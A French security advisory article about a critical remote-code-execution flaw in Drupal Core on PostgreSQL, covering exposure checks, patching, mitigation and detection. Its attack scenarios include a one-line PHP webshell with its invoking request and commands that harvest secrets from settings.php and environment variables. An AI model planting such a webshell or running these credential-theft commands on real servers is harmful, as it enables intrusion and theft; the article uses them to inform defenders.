Une vulnérabilité critique affecte Drupal Core lorsque le CMS est déployé avec un backend PostgreSQL. L’alerte, relayée notamment par The Hacker News et surtout documentée par l’avis de sécurité officiel de Drupal, expose un scénario particulièrement sensible pour les équipes web, devops et hébergeurs : selon la configuration et le niveau d’exposition de l’application, un attaquant distant peut obtenir une exécution de code à distance et aller jusqu’à la compromission complète du site. Pour les environnements concernés, il s’agit d’une mise à jour prioritaire.

Le point important est que la faille ne vise pas indistinctement toutes les installations Drupal : elle concerne les instances utilisant PostgreSQL comme moteur de base de données. Cette distinction est essentielle pour qualifier rapidement le risque, notamment chez les hébergeurs mutualisés, les infogérants et les équipes qui exploitent plusieurs stacks Drupal en parallèle sur des infrastructures OVH, Scaleway, o2switch ou sur des clusters internes. Si votre parc Drupal repose majoritairement sur MySQL ou MariaDB, l’exposition n’est pas identique ; en revanche, toute instance Drupal Core connectée à PostgreSQL doit être considérée comme à vérifier immédiatement.

Au moment de l’alerte, Drupal a publié des correctifs de sécurité et recommande un déploiement sans délai. Le score CVSS communiqué pour ce type de vulnérabilité est généralement classé dans la zone critique lorsqu’une RCE pré-authentifiée ou faiblement authentifiée est possible, avec des impacts potentiels sur la confidentialité, l’intégrité et la disponibilité. L’identifiant CVE et les branches exactes corrigées doivent être vérifiés dans l’advisory officiel de Drupal, qui fait foi sur les versions touchées et la sévérité finale. Pour les équipes françaises, une veille complémentaire via CERT-FR reste pertinente, en particulier si des campagnes d’exploitation opportunistes apparaissent après publication du correctif.

Le risque opérationnel est élevé pour une raison simple : les sites Drupal exposés sur Internet sont souvent intégrés à des SI plus larges, avec accès à des secrets applicatifs, des connecteurs SMTP, des API métiers, des buckets objet, des caches Redis, des files de messages, voire des comptes de déploiement. Une RCE sur le frontal web ne se limite donc pas au site lui-même. Elle peut permettre l’exfiltration du fichier settings.php, la récupération des identifiants PostgreSQL, la prise de contrôle d’extensions, l’installation de webshells PHP, puis un mouvement latéral vers d’autres composants.

La source primaire à retenir n’est pas l’article de presse, mais bien l’avis de sécurité publié par Drupal, qui précise les branches concernées, les versions corrigées et les consignes de remédiation. The Hacker News a servi de relai utile pour l’alerte, mais les décisions de patching et de qualification d’exposition doivent s’appuyer sur la documentation éditeur.

Versions affectées

La vulnérabilité concerne Drupal Core déployé avec PostgreSQL. Les versions exactes vulnérables et corrigées doivent être validées à partir de l’avis officiel Drupal associé à cette faille. En pratique, l’éditeur publie généralement des correctifs pour les branches maintenues, avec une version de sécurité cible par branche.

Pour qualifier rapidement votre exposition, il faut répondre à deux questions :

  • Le site exécute-t-il une branche de Drupal Core encore maintenue au moment de l’avis ?
  • La connexion base de données de l’instance pointe-t-elle vers PostgreSQL plutôt que MySQL, MariaDB ou SQLite ?

La vérification peut se faire directement dans le code et dans la configuration :

  • Version de Drupal via composer show drupal/core ou drush status
  • Type de base via sites/default/settings.php ou via les variables d’environnement injectées au runtime

Exemple de configuration à risque dans settings.php :

$databases['default']['default'] = [ 'database' => 'drupal', 'username' => 'drupal', 'password' => 'motdepasse', 'prefix' => '', 'host' => 'postgres', 'port' => '5432', 'namespace' => 'Drupal\\Core\\Database\\Driver\\pgsql', 'driver' => 'pgsql', ];

La présence de 'driver' => 'pgsql' ou du namespace Drupal\\Core\\Database\\Driver\\pgsql suffit à classer l’instance dans le périmètre technique à auditer prioritairement.

Pour les versions, l’approche recommandée est la suivante :

  • Considérer comme vulnérables les versions de Drupal Core indiquées comme affectées dans l’advisory officiel
  • Considérer comme corrigées uniquement les versions de sécurité explicitement publiées par Drupal pour chaque branche
  • Ne pas supposer qu’un simple changement de configuration PostgreSQL ou un durcissement système compense entièrement le défaut du core

Sur des environnements industrialisés, il faut également vérifier les variantes suivantes :

  • Images conteneurisées embarquant une version de Drupal plus ancienne que celle déclarée dans le dépôt Git
  • Déploiements Composer verrouillés par un composer.lock non régénéré
  • Instances clonées ou oubliées en préproduction, staging, recette, démonstration ou reprise après sinistre
  • Appliances ou offres packagées chez des hébergeurs ou intégrateurs qui maintiennent eux-mêmes le socle applicatif

Exemples de commandes de qualification :

composer show drupal/core drush status grep -R "driver.*pgsql" sites/*/settings*.php php -r 'include "web/sites/default/settings.php"; var_dump($databases);'

Dans un parc multi-sites, un inventaire simple peut être réalisé :

find /var/www -type f \( -name settings.php -o -name settings.local.php \) -print0 | xargs -0 grep -H "'driver' => 'pgsql'"

Si l’avis Drupal associe un identifiant CVE-ID précis, celui-ci doit être repris dans vos tickets d’incident, vos demandes de changement et vos scans de conformité. Même logique pour le CVSS : utilisez la valeur publiée par l’éditeur ou la NVD lorsqu’elle est disponible, afin d’aligner la priorisation interne avec les référentiels de vulnérabilités.

Vecteur d'attaque

Le vecteur d’attaque repose sur une faiblesse du core Drupal dans des déploiements utilisant PostgreSQL. Sans entrer dans des détails qui faciliteraient une exploitation offensive, le point central est qu’une différence de comportement ou de traitement entre moteurs de base de données peut conduire à une situation où des données contrôlées par un attaquant sont interprétées de manière dangereuse, jusqu’à permettre une exécution de code à distance.

Techniquement, ce type de faille apparaît souvent à l’intersection de plusieurs couches :

  • La couche applicative Drupal et son abstraction d’accès aux données
  • Le driver ou la logique spécifique à pgsql
  • Le traitement de certaines entrées, requêtes ou objets manipulés par le core
  • Des hypothèses de sécurité valables sur un moteur, mais non valables sur un autre

Pour les équipes d’exploitation, l’élément le plus important n’est pas le détail exact de l’implémentation, mais le fait qu’un site exposé peut devenir une porte d’entrée initiale. Une fois la RCE obtenue, l’attaquant agit avec les droits du processus web, souvent www-data, apache ou un utilisateur PHP-FPM dédié. À partir de là, plusieurs scénarios concrets sont plausibles.

Scénario 1 : déploiement d’un webshell et persistance

L’attaquant exploite la faille, écrit un fichier PHP dans un répertoire accessible en écriture, puis l’appelle directement via HTTP. Les emplacements typiquement visés incluent :

  • web/sites/default/files/
  • Un répertoire de cache mal configuré
  • Un thème ou module custom dont les permissions sont trop ouvertes

Exemple de commande post-exploitation fréquemment observée dans les incidents web :

echo '<?php system($_GET["cmd"]); ?>' > web/sites/default/files/.cache.php

Le shell peut ensuite être invoqué via une requête telle que :

GET /sites/default/files/.cache.php?cmd=id HTTP/1.1

Ce scénario donne un accès interactif, facilite l’exfiltration et permet d’installer des mécanismes de persistance plus discrets.

Scénario 2 : vol de secrets applicatifs

Une fois du code exécuté sur le serveur, l’attaquant cible en priorité :

  • settings.php pour les identifiants de base de données
  • Les variables d’environnement injectées par le serveur web, PHP-FPM, Docker ou Kubernetes
  • Les clés d’API, secrets OAuth, credentials SMTP, tokens de sauvegarde

Exemples de commandes simples :

cat web/sites/default/settings.php printenv ls -la /run/secrets cat /proc/self/environ | tr '\0' '\n'

Dans des environnements cloud, cette étape peut déboucher sur la compromission de services tiers : objet, cache, supervision, CI/CD, voire DNS si des jetons sont présents localement.

Scénario 3 : mouvement latéral depuis l’hébergement web

Sur un serveur mutualisé ou un nœud hébergeant plusieurs applications, la compromission d’un site Drupal peut servir de point de départ pour cartographier le réseau interne, scanner les ports disponibles et cibler des services adjacents :

  • PostgreSQL, Redis, Memcached, Elasticsearch
  • Interfaces d’administration internes
  • Partages NFS ou volumes montés en lecture-écriture
  • Autres vhosts présents sur la même machine

Exemples de reconnaissance post-exploitation :

ss -lntp ip a ip route find /var/www -maxdepth 3 -type f -name ".env" grep -R "password" /var/www 2>/dev/null | head

Chez certains hébergeurs ou en architecture legacy, il n’est pas rare que plusieurs applications partagent des comptes système, des répertoires ou des secrets. Une RCE sur Drupal devient alors un incident transverse, pas un simple incident applicatif.

Pourquoi PostgreSQL change la donne

L’alerte vise spécifiquement les déploiements PostgreSQL parce que le chemin de code vulnérable dépend du backend de base de données. C’est un point important pour les développeurs qui considèrent parfois la couche d’abstraction SQL comme interchangeable. En réalité, les différences de syntaxe, de typage, de fonctions natives, de quoting, de gestion des erreurs et de comportements transactionnels peuvent introduire des surfaces d’attaque spécifiques.

Dans l’écosystème PHP, ce n’est pas la première fois qu’une vulnérabilité se manifeste différemment selon le moteur de base. Les tests fonctionnels valident souvent les cas dominants, historiquement orientés MySQL/MariaDB, alors que les déploiements PostgreSQL restent moins nombreux mais pas moins critiques. Les organisations publiques, universitaires ou techniques qui privilégient PostgreSQL pour des raisons d’architecture ou de standardisation doivent donc être particulièrement vigilantes.

Comparaison avec des failles antérieures Drupal

L’écosystème Drupal a déjà connu des vulnérabilités majeures, notamment les séries surnommées Drupalgeddon, qui avaient marqué les équipes sécurité par leur facilité d’exploitation et leur impact sur des sites publics. La situation actuelle diffère sur le périmètre, puisqu’elle cible des installations adossées à PostgreSQL, mais le niveau de priorité opérationnelle est comparable : publication de correctif, risque de scans opportunistes, exploitation rapide après divulgation et nécessité d’un inventaire précis du parc.

La leçon tirée des incidents passés reste la même :

  • Les attaquants automatisent très vite la détection des versions vulnérables
  • Les sites oubliés, de test ou faiblement supervisés sont exploités en premier
  • Le délai entre publication du patch et premières tentatives d’exploitation peut être très court

Impact

L’impact principal est une RCE sur le serveur hébergeant Drupal. En termes de risque métier, cela recouvre plusieurs dimensions :

  • Confidentialité : accès aux contenus, comptes utilisateurs, données personnelles, secrets d’intégration
  • Intégrité : modification du code, du contenu éditorial, des modules, des templates, des redirections
  • Disponibilité : sabotage, chiffrement de données, suppression de fichiers, déni de service applicatif

Pour un site institutionnel, e-commerce, média ou extranet, les conséquences concrètes peuvent inclure :

  • Défiguration du site ou insertion de scripts malveillants côté client
  • Vol de comptes administrateurs Drupal
  • Création d’utilisateurs persistants avec rôles élevés
  • Exfiltration de bases de données et de documents
  • Pivot vers d’autres systèmes internes ou environnements cloud

Sur un plan réglementaire, une compromission impliquant des données personnelles peut déclencher des obligations de qualification d’incident, de notification interne, voire de notification à l’autorité compétente selon le contexte. Les RSSI doivent donc considérer cette faille comme un sujet de gestion de crise potentielle si des indices d’exploitation sont présents.

Comment patcher

La remédiation prioritaire consiste à mettre à jour Drupal Core vers la version de sécurité publiée par l’éditeur pour votre branche maintenue. La référence officielle est l’avis de sécurité Drupal correspondant à cette vulnérabilité. Le patch doit être appliqué sur toutes les instances affectées, y compris préproduction, recette, sites secondaires et environnements de secours.

Mise à jour via Composer

Pour les déploiements modernes de Drupal, la méthode standard passe par composer. La commande exacte dépend de votre structure de projet, mais le schéma de remédiation est le suivant :

composer update drupal/core --with-all-dependencies php vendor/bin/drush updatedb -y php vendor/bin/drush cache:rebuild

Sur les projets utilisant les paquets recommandés Drupal :

composer update drupal/core-recommended drupal/core-composer-scaffold drupal/core-project-message --with-all-dependencies php vendor/bin/drush updatedb -y php vendor/bin/drush cache:rebuild

Si vous devez cibler explicitement une version corrigée fournie par Drupal, adaptez la commande :

composer require drupal/core-recommended:VERSION_CORRIGEE drupal/core-composer-scaffold:VERSION_CORRIGEE drupal/core-project-message:VERSION_CORRIGEE --update-with-all-dependencies

Remplacez VERSION_CORRIGEE par la version publiée dans l’avis officiel. C’est cette valeur qui doit apparaître dans le composer.lock après mise à jour.

Vérifications post-mise à jour

  • Contrôler la version effective avec composer show drupal/core
  • Exécuter les mises à jour de schéma via drush updatedb
  • Reconstruire les caches avec drush cache:rebuild
  • Tester l’authentification, l’administration, les formulaires et les pages critiques
  • Vérifier les logs PHP, nginx ou Apache, ainsi que les logs Drupal

Déploiements packagés système

Sur des distributions ou appliances qui empaquettent Drupal via le système, il faut suivre le canal de sécurité du fournisseur. Selon les cas, les commandes peuvent ressembler à :

sudo apt update sudo apt install --only-upgrade drupal7 sudo apt install --only-upgrade drupal9

ou :

sudo dnf update drupal\*

En pratique, beaucoup de déploiements Drupal professionnels utilisent Composer plutôt que les paquets OS. Il ne faut pas supposer qu’un apt upgrade ou un dnf update corrige un site déployé depuis un dépôt Git applicatif.

Environnements conteneurisés

Si Drupal est empaqueté dans une image Docker ou déployé sur Kubernetes :

  • Mettre à jour les dépendances dans le dépôt source
  • Reconstruire l’image
  • Déployer la nouvelle révision
  • Vérifier que les pods utilisent bien l’image corrigée et non une image mise en cache

Exemple :

docker build -t registry.example/drupal:VERSION_CORRIGEE . docker push registry.example/drupal:VERSION_CORRIGEE kubectl set image deployment/drupal drupal=registry.example/drupal:VERSION_CORRIGEE kubectl rollout status deployment/drupal

Fenêtre de remédiation recommandée

Pour les instances PostgreSQL exposées sur Internet, la mise à jour doit être considérée comme immédiate. Si un patch ne peut pas être appliqué dans l’heure, il faut au minimum déclencher des mesures compensatoires fortes, détaillées ci-dessous, et renforcer la supervision jusqu’au déploiement du correctif.

Mitigation

Quand la mise à jour immédiate est impossible, les mesures compensatoires ne suppriment pas la vulnérabilité mais peuvent réduire la surface d’attaque et limiter l’impact. Elles doivent être traitées comme temporaires.

1. Réduire l’exposition HTTP

Si le site n’a pas besoin d’être publiquement accessible pendant quelques heures, la mesure la plus efficace est de restreindre l’accès :

  • Filtrage IP au niveau CDN, WAF, reverse proxy ou pare-feu
  • Mise en maintenance avec liste blanche d’administration
  • Désactivation temporaire des routes non essentielles si cela est faisable sans casser l’exploitation

Exemple nginx pour limiter à des IP d’administration :

location / { allow 203.0.113.10; allow 198.51.100.20; deny all; }

Exemple avec iptables ou un security group cloud : n’autoriser que les sources nécessaires tant que le correctif n’est pas déployé.

2. Renforcer les permissions de fichiers

Une grande partie de l’impact d’une RCE dépend de la capacité à écrire un fichier exécutable côté web. Vérifiez immédiatement :

  • Que le code applicatif n’est pas inscriptible par l’utilisateur PHP
  • Que sites/default/files ne permet pas l’exécution de scripts PHP
  • Que les répertoires de cache et d’upload sont correctement isolés

Exemple de blocage PHP dans un répertoire d’uploads avec nginx :

location ~* ^/sites/.*/files/.*\.php$ { deny all; }

Exemple Apache :

<Directory "/var/www/html/web/sites/default/files"> php_admin_flag engine off Require all denied </Directory>

Selon l’architecture, il faut adapter pour ne pas bloquer les accès légitimes aux fichiers statiques.

3. Isoler les secrets

Si les secrets sont présents en clair dans settings.php, dans des variables d’environnement trop larges ou dans des fichiers montés localement, la RCE facilite leur vol. Mesures rapides :

  • Rotation des secrets les plus sensibles après patch si une compromission est suspectée
  • Réduction des permissions de lecture sur les fichiers de configuration
  • Suppression des secrets non utilisés du runtime applicatif

4. Durcir PHP et le système

Sans corriger la faille, certains réglages limitent les actions post-exploitation :

  • Désactiver les fonctions PHP dangereuses quand cela est compatible : exec, shell_exec, system, passthru, proc_open
  • Appliquer un confinement open_basedir si pertinent
  • Vérifier les profils AppArmor ou SELinux sur les hôtes compatibles
  • Empêcher l’écriture dans le répertoire du code applicatif

Ces mesures ne doivent pas être présentées comme un patch. Elles servent à réduire la capacité de l’attaquant à transformer l’exécution de code en compromission durable.

Détection

La détection doit combiner qualification d’exposition, recherche d’indices de compromission et surveillance renforcée jusqu’à la mise à jour. Si l’instance est restée vulnérable après publication de l’avis, il faut partir du principe qu’une tentative d’exploitation a pu avoir lieu.

Indicateurs de compromission à rechercher

  • Création récente de fichiers PHP dans web/sites/default/files/ ou dans des répertoires d’uploads
  • Modification inattendue de settings.php, de modules custom, de thèmes ou de fichiers .htaccess
  • Processus PHP-FPM ou Apache exécutant des commandes système inhabituelles
  • Requêtes HTTP anormales vers des fichiers nouvellement apparus
  • Connexions sortantes du serveur web vers des hôtes non attendus
  • Création d’utilisateurs administrateurs Drupal non autorisés

Commandes de triage utiles :

find web/sites/default/files -type f -name "*.php" -ls find web -type f -mtime -2 | sort grep -R "system(" web 2>/dev/null ps auxf | egrep "php-fpm|apache2|httpd" ss -tpn

Analyse des logs HTTP

Sur nginx ou Apache, recherchez :

  • Des pics de requêtes sur des routes inhabituelles
  • Des chaînes suspectes dans les paramètres
  • Des appels directs à des fichiers PHP sous /sites/default/files/
  • Des codes 500, 403 ou 404 corrélés à des scans automatisés

Exemples de recherches :

grep -E "sites/.*/files/.*\.php" /var/log/nginx/access.log grep -E "\"(POST|GET) " /var/log/nginx/access.log | tail -n 200 grep -E " 500 | 403 | 404 " /var/log/nginx/access.log | tail -n 500

Logs Drupal et base de données

Si le module de journalisation est actif, examinez les événements de création de comptes, de modification de configuration et les erreurs applicatives. Côté PostgreSQL, recherchez des requêtes anormales ou des erreurs répétées autour de la période d’exposition. Sur des environnements managés, ces traces peuvent être disponibles via le fournisseur cloud ou l’hébergeur.

Surveillance réseau et EDR

Si vous disposez d’un EDR ou d’une solution de télémétrie système, créez des alertes sur :

  • Lancement de shell depuis php-fpm, apache2 ou httpd
  • Écriture de fichiers PHP dans des répertoires d’uploads
  • Connexions sortantes HTTP, DNS ou SSH initiées par le processus web
  • Accès à /bin/sh, /usr/bin/curl, /usr/bin/wget, /usr/bin/python depuis le worker PHP

Pour les équipes hébergées chez OVH, Scaleway ou o2switch, la profondeur de visibilité dépendra du niveau d’accès au système. En mutualisé, la détection sera plus limitée et la coordination avec l’hébergeur peut devenir nécessaire si des indices de compromission apparaissent.

Si une exploitation est suspectée

  • Isoler l’instance du réseau ou restreindre l’accès immédiatement
  • Capturer les journaux, la liste des processus et les fichiers modifiés avant nettoyage
  • Déployer le correctif seulement après préservation minimale des preuves si une investigation est requise
  • Faire une rotation des secrets exposés : base, API, SMTP, SSO, cloud
  • Réinstaller depuis une source saine si l’intégrité du code n’est plus garantie

Une simple suppression d’un webshell ne suffit pas. Si l’attaquant a obtenu une RCE, il faut supposer qu’il a pu déposer d’autres mécanismes de persistance ou exfiltrer des secrets.

Perspective écosystème et priorisation

Cette vulnérabilité rappelle un point souvent sous-estimé dans les parcs web : toutes les instances Drupal ne sont pas identiques, et le choix du backend de base de données influence réellement la surface d’attaque. Pour les équipes sécurité, cela implique une CMDB ou un inventaire capable de distinguer non seulement les versions de CMS, mais aussi les composants d’infrastructure associés : moteur SQL, version PHP, reverse proxy, modules tiers, mode d’hébergement.

Pour les hébergeurs et infogérants, la priorité est double :

  • Identifier rapidement les clients ou plateformes utilisant pgsql avec Drupal
  • Accélérer la communication et l’assistance au patching sur les instances exposées

Les organisations qui exploitent Drupal dans des contextes sensibles devraient aussi revoir leur stratégie de durcissement :

  • Séparation stricte entre code et répertoires inscriptibles
  • Interdiction d’exécuter du PHP dans les zones d’uploads
  • Rotation régulière des secrets et réduction de leur présence au runtime
  • Journalisation centralisée et détection de comportements anormaux
  • Procédure de patching d’urgence testée à l’avance

Sur ce dernier point, les bonnes pratiques de réduction de surface d’attaque, de gestion des permissions et de supervision continue méritent d’être formalisées. Les équipes qui veulent renforcer leur socle au-delà du correctif ponctuel peuvent utilement consulter les contenus de durcissement et d’hygiène de sécurité de la catégorie /categorie/pratiques.

Source originale à retenir : l’avis de sécurité officiel publié par Drupal, qui fait foi pour les versions concernées, le CVE-ID, le CVSS et les versions corrigées ; The Hacker News a servi de relai d’alerte mais ne remplace pas la documentation éditeur. Pour les équipes françaises, une veille complémentaire via CERT-FR et vos canaux de threat intel habituels est recommandée tant que la fenêtre d’exploitation reste active. En présence d’une instance Drupal Core connectée à PostgreSQL, la bonne séquence reste simple : inventorier, patcher, vérifier les traces, puis durcir. Pour la suite, les mesures de hardening applicatif et d’exploitation à intégrer durablement sont à retrouver dans la catégorie /categorie/pratiques.

Rubrique Frameworks
Partager
Retour aux actualités